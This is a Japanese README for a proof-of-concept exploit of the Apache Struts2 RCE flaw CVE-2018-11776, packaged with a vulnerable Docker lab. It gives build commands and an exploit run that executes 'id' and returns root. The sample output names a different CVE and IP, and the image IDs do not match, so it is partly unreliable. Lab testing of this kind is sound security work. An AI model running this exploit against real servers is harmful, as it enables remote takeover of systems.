
Apache Struts2 CVE-2018-11776 リモートコード実行脆弱性に対するPython proof-of-concept エクスプロイトです。影響を受けるバージョン2.3-2.3.34および2.5-2.5.16に対してテストするためのDockerコンテナが含まれています。
これは https://github.com/hook-s3c/CVE-2018-11776-Python-PoC に基づいています。コンテナのビルドと指示がREADMEに記載されている通りに動作しなかったため、このフォークが作成されました。使用されているPOCエクスプロイトはRapid7からのものです。
謝辞:
hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
Rapid7 https://github.com/rapid7/metasploit-framework/issues/8064
SemmleのMan Yue Moが、リクエストのURLパスにエンコードされたペイロードによって配信されるStruts2 RCE脆弱性を開示しました。
影響を受けるバージョンは2.3〜2.3.34、および2.5〜2.5.16です。
デフォルト構成は脆弱ではありません。このコンテナや他の多くのコンテナは脆弱です。
ビルドに何が含まれているかを確認できるため、Dockerfileからコンテナをビルドすることをお勧めします。
git clone https://github.com/freshdemo/ApacheStruts-CVE-2018-11776 ./Struts
cd Struts
docker build . -t freshdemo/apachestruts
新しいコンテナを次のコマンドで確認します
docker images
出力は次のようになり、イメージIDを取得できます。
root@DockerHost:~/ApacheStruts-CVE-2018-11776# docker images REPOSITORY TAG IMAGE ID CREATED SIZE
freshdemo/apachestruts latest 6586cedf49fa About a minute ago 542MB
次のコマンドでコンテナをビルドして起動します。
docker run -d --name apachestruts -p 8080:8080 d39018c50afe
イングレス/エグレスファイアウォールが先ほど指定したポート(8080)を許可していることを確認し、次のコマンドでターゲットに対してエクスプロイトを実行します。
python struts.py http://192.168.2.188:8080 'id'
出力は次のようになります。
root@k:/home/s# python struts.py http://192.168.2.188:8080 'id' [*] CVE: 2017-5638 - Apache Struts2 S2-045 http://13.88.250.188:8080 : [*] cmd: id uid=0(root) gid=0(root) groups=0(root)